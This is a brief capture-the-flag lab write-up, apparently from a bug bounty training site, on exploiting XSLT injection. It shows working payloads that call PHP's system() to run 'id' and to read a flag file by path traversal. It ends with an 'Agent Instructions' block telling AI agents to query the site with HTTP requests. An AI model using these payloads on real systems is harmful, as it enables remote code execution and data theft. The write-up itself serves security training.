# Exploiting XSLT Injection

Exploit the XSLT Injection vulnerability to obtain RCE and read the flag.

To explore this XSLT vulnerability lets try a simple payload first in order to see if the command gets executed:

<figure><img src="/files/ekx8vq9ikoGT07jrrXe3" alt=""><figcaption></figcaption></figure>

```xml
<xsl:value-of select="php:function('system','id')" />
```

<figure><img src="/files/nblnr19RwvrldvivjEw8" alt=""><figcaption></figcaption></figure>

And it worked!

After looking arround with the `ls` command, we finnaly managed to get the flag with following payload:

```xml
<xsl:value-of select="php:function('system','cat ../../../../flag.txt')" />
```

<figure><img src="/files/LcoKjDApr1zoL7zvynv1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.hackervice.com/ctf-labs/htb-certified-bug-bounty-hunter/server-side-attacks/exploiting-xslt-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
